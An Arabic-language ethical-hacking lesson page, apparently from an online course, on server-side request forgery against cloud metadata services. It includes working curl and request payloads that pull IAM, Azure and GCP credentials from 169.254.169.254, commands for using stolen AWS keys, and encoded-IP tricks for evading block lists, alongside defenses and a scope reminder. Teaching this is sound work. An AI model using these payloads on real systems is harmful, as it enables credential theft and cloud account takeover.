0Pricing
Ethical Hacking Academy · درس

البيانات الوصفية وSSRF

هجمات خاصة بالسحابة

البيانات الوصفية وSSRF درس مجاني في Ethical Hacking Academy على CoddyKit. هذا هو الدرس 4 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في Ethical Hacking Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة Ethical Hacking Academy 4 دروس في المجموع.

خدمة بيانات تعريف المثيل

يمكن لكل جهاز VM سحابي الاستعلام عن نقطة نهاية داخلية خاصة لمعرفة معلومات عنه: خدمة بيانات تعريف المثيل (IMDS). والأهم أنها تستطيع أيضًا إصدار بيانات الاعتماد المؤقتة للدور المرتبط بالمثيل.

  • توفّر AWS وGCP وAzure جميعًا بيانات التعريف على العنوان 169.254.169.254
  • لا يمكن الوصول إليها إلا من داخل المثيل
  • لا تتطلب مصادقة من العمليات المحلية

وتتحول هذه الراحة إلى سلاح عند دمجها مع SSRF.

قراءة بيانات تعريف AWS ‏(IMDSv1)

في IMDSv1 القديمة، يعيد طلب GET واحد بيانات التعريف، بما في ذلك بيانات اعتماد الدور. ولا حاجة إلى رمز مميز.

وهذا تحديدًا ما يجعل IMDSv1 خطرة عندما يحتوي التطبيق على SSRF.

# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

ما هو SSRF

تزوير الطلبات من جانب الخادم (SSRF) هو ثغرة يخدع فيها المهاجم خادمًا لإجراء طلبات HTTP نيابةً عنه. فيتحول الخادم إلى وكيل للوصول إلى أماكن لا يستطيع المهاجم الوصول إليها مباشرةً.

  • مَعلمة URL يجلبها الخادم
  • خطاف ويب أو منشئ PDF أو ميزة تغيير حجم الصور
  • أي شيء يتلقى عنوان URL يقدمه المستخدم

تُعد نقطة نهاية بيانات التعريف الهدف التقليدي لهجمات SSRF في السحابة.

عندما يلتقي SSRF ببيانات التعريف

التركيبة المدمرة هي أن تطبيقًا يعاني من SSRF يتيح للمهاجم توجيه الخادم إلى 169.254.169.254. فيجلب الخادم بيانات اعتماد IAM الخاصة بالمثيل ويعيدها.

يمتلك المهاجم الآن بيانات اعتماد سحابية، وغالبًا ما تكون هذه بداية للاستيلاء الكامل على الحساب.

# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png

# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role

استخدام بيانات الاعتماد المسروقة

تتضمن استجابة بيانات التعريف مفتاح وصول ومفتاحًا سريًا ورمز جلسة. يصدّرها المهاجم ويتصرف فورًا بصفته دور المثيل.

ومن هنا، يحصي الصلاحيات ويبحث عن مسارات للتصعيد.

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Confirm the stolen identity
aws sts get-caller-identity

‏IMDSv2 كوسيلة دفاع

قدمت AWS الإصدار IMDSv2 للحد من هجمات SSRF. فهو يتطلب رمز جلسة يُحصَل عليه أولًا عبر طلب HTTP من نوع PUT، وهو ما لا تستطيع معظم بدائيات SSRF تنفيذه، إذ إنها لا تنفذ سوى GET.

يؤدي فرض IMDSv2 وتعيين حد منخفض لعدد القفزات إلى تقليل سرقة بيانات التعريف عبر SSRF بدرجة كبيرة.

# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')

# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/

بيانات تعريف Azure وGCP

يوفّر موفرو الخدمات الآخرون أيضًا بيانات التعريف، مع اختلافات خاصة بكل منهم. ويتطلب كلاهما ترويسة خاصة، وهي بحد ذاتها وسيلة بسيطة للحد من SSRF.

  • يتطلب Azure الترويسة Metadata: true
  • يتطلب GCP الترويسة Metadata-Flavor: Google
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

تقنيات تجاوز SSRF

غالبًا ما يضع المدافعون 169.254.169.254 في قائمة حظر. ويتجاوز المهاجمون المرشحات الساذجة باستخدام ترميزات بديلة لعناوين IP وعمليات إعادة التوجيه.

  • عنوان IP عشري: 2852039166
  • ترميزات ثمانية أو سداسية عشرية للعنوان نفسه
  • إعادة ربط DNS باسم يُحل إلى عنوان IP الخاص ببيانات التعريف
  • عمليات إعادة توجيه مفتوحة تعيد توجيه الطلب إلى عنوان URL الخاص ببيانات التعريف

يجب أن تتحقق وسائل الدفاع المتينة من عنوان IP بعد حله، لا من السلسلة النصية الخام.

# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/

أهداف SSRF أخرى

تتصدّر بيانات التعريف المشهد، لكن SSRF يمكن أن تصل إلى موارد داخلية أخرى:

  • لوحات الإدارة ولوحات المعلومات الداخلية المرتبطة بـ localhost
  • قواعد البيانات وذاكرات التخزين المؤقت الداخلية مثل Redis وElasticsearch
  • خادم Kubernetes API ونقاط نهاية kubelet
  • خدمات مصغرة أخرى غير مكشوفة خارجيًا

تخترق SSRF فعليًا محيط الشبكة من موقع موثوق.

الدفاع ضد السلسلة كاملة

يتطلب قطع سلسلة SSRF المؤدية إلى بيانات التعريف دفاعًا متعدد الطبقات:

  • فرض IMDSv2 وتعيين حد قفزات بيانات التعريف إلى 1
  • التحقق من عناوين URL الصادرة والسماح بها وفق قائمة مسموحة في ميزات الجلب
  • حظر الطلبات الموجهة إلى نطاقات IP المحلية للارتباط والنطاقات الخاصة بعد حل DNS
  • تطبيق مبدأ أقل صلاحية على أدوار المثيلات بحيث تكون بيانات الاعتماد المسروقة محدودة الأثر

تضمن الأدوار ذات أقل صلاحية أن تؤدي السرقة الناجحة إلى أثر محدود حتى في أسوأ الحالات.

اختبر ما لديك تصريح باختباره فقط

يمكن لاختبار SSRF الوصول عمدًا إلى أنظمة داخلية حساسة. لذلك التزم بالانضباط:

  • تأكد من أن المضيف المستهدف وحساب السحابة مشمولان بالنطاق
  • لا تنتقل إلى أنظمة خارج نطاق الاختبار
  • توقف وأبلغ بمجرد إثبات إمكانية الوصول إلى بيانات الاعتماد

الوصول إلى بيانات التعريف ذو أثر كبير؛ أثبته بحذر، ولا تستخدم المفاتيح المسروقة بلا ضوابط.

تحقق سريع

لماذا يساعد فرض IMDSv2 في الدفاع ضد سرقة بيانات الاعتماد المستندة إلى SSRF؟

مراجعة: بيانات التعريف وSSRF

لقد تعلمتم سلسلة الهجوم السحابية الأكثر تأثيرًا.

  • تُصدر خدمة بيانات التعريف على العنوان 169.254.169.254 بيانات اعتماد دور المثيل
  • تتيح SSRF للمهاجم جعل الخادم يجلب تلك النقطة
  • تمكّن بيانات الاعتماد المؤقتة المسروقة من الاستيلاء على الحساب
  • تحظر IMDSv2 معظم هجمات SSRF من خلال اشتراط رمز يستند إلى طلب PUT
  • يمكن الدفاع باستخدام قوائم السماح لعناوين URL، والتحقق من عناوين IP، وأدوار أقل صلاحية

وبذلك تكتمل دورة اختبار الاختراق السحابي. والدورة التالية: اصطياد مكافآت اكتشاف الثغرات.

الأسئلة الشائعة

هل درس «البيانات الوصفية وSSRF» مجاني؟

نعم — نص درس «البيانات الوصفية وSSRF» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة Ethical Hacking Academy، انتقل إلى CoddyKit PRO. تتضمن دورة Ethical Hacking Academy 4 دروس في المجموع.

ماذا ستتعلم في «البيانات الوصفية وSSRF»؟

هجمات خاصة بالسحابة تتمرن على Ethical Hacking Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.

هل أحتاج إلى خبرة سابقة لأبدأ Ethical Hacking Academy؟

لا تُشترط خبرة سابقة. Ethical Hacking Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 4 من أصل 4.

كم من الوقت يستغرق درس «البيانات الوصفية وSSRF»؟

معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.

هل يمكنني كتابة وتشغيل أكواد في درس Ethical Hacking Academy هذا؟

نعم. كل درس في Ethical Hacking Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.

جميع الدروس في هذه الدورة

  1. سطح الهجوم السحابي
  2. إعدادات IAM الخاطئة
  3. انكشاف S3 والتخزين
  4. البيانات الوصفية وSSRF
← العودة إلى Ethical Hacking Academy